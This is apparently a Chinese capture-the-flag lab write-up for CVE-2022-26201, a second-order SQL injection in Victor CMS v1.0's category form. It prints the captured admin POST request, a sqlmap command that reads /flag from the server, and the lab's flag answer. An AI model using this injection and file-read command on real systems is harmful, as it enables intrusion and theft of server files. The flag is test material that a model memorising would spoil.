春秋云镜 CVE-2022-26201 Victor CMS v1.0 存在二次注入漏洞
靶标介绍
Victor CMS v1.0 存在二次注入漏洞,该漏洞源于/admin/categories.php的 cat_title 参数,跟CVE-2022-28060同一套CMS。
启动场景
漏洞利用
访问Admin进入管理界面
注入点在“Categories”添加类别
抓取请求包,另存为1.txt
POST /admin/categories.php HTTP/1.1
Host: eci-2zea3w7mdswz62m7nyz7.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://eci-2zea3w7mdswz62m7nyz7.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zea3w7mdswz62m7nyz7.cloudeci1.ichunqiu.com/admin/categories.php
Cookie: PHPSESSID=og6puvn3c1asurlm7i5c0bpslp
Upgrade-Insecure-Requests: 1
cat_title=1&submit=
Sqlmap一把梭,跟CVE-2022-28060一样,直接读取flag
python3 sqlmap.py -r 1.txt --file-read “/flag” --dbms Mysql
得到flag
flag{967e9665-25b4-47ab-8ad1-e2f77805f9c2}